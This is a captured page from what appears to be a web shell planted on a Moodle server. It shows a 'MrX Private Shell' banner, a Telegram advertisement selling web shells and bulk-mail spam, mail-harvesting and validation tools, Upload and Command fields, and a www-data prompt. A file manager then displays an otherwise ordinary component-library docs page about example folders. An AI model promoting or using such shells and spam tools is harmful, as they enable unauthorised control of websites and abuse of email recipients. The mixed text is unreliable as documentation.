__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
---
layout: docs
title: "Example files"
date: 2020-01-21T13:00:00+08:00
draft: false
---

There may be times that we need to provide example implementations of the component being documented in order to further demonstrate how to use a component.

We need to put these files in `examples` folders. It helps organise things and makes the maintenance of the component library code easier by allowing us to distinguish examples from the actual component library code.


## Example pages

Example pages can be placed under the `componentlibrary/examples` folder.

See the `formfields.php` example page as an example:

```
componentlibrary
└── examples
     └── formfields.php
```

This can be embedded in the component's documentation page via iframe. For example in `componentlibrary/content/moodle/form-elements.md`:

```
<iframe src="../../../../examples/formfields.php" style="overflow:hidden;height:4000px;width:100%;border:0" title="Moodle form fields"></iframe>
```

## Example classes

Example classes can be placed under the `componentlibrary/classes/local/examples/[componentname]` folder.

In our form fields example, we have the `\tool_componentlibrary\local\examples\formelements\example` class under `componentlibrary/classes/local/examples/formelements`.

## Example templates

Example templates can be placed under the `componentlibrary/templates/examples/[componentname]` folder.

In our form fields example, we have the `tool_componentlibrary/examples/formelements/toggles` template under `componentlibrary/templates/examples/formelements`.

## Summary

Please put example files in their designated `examples` folders.
```
componentlibrary
└── classes
    └── local
        └── examples
            └── [component folder]
                └── [example classes]
└── examples
    └── [example page]
└── templates
    └── examples
        └── [component folder]
            └── [example templates]
```

For the form elements documentation, its example files are in the following `examples` folders.
```
componentlibrary
└── classes
    └── local
        └── examples
            └── formelements
                └── example.php
└── examples
    └── formfields.php
└── templates
    └── examples
        └── formelements
            └── toggles.mustache
```

Filemanager

Name Type Size Permission Actions
_index.md File 86 B 0777
adding-images.md File 1.08 KB 0777
adding-pages.md File 2.22 KB 0777
component-library-backend.md File 2.08 KB 0777
example-files.md File 2.35 KB 0777
getting-started.md File 1.72 KB 0777
moodle-javascript.md File 1.16 KB 0777
moodle-templates.md File 1.38 KB 0777
syntax-highlighting.md File 2.03 KB 0777
Filemanager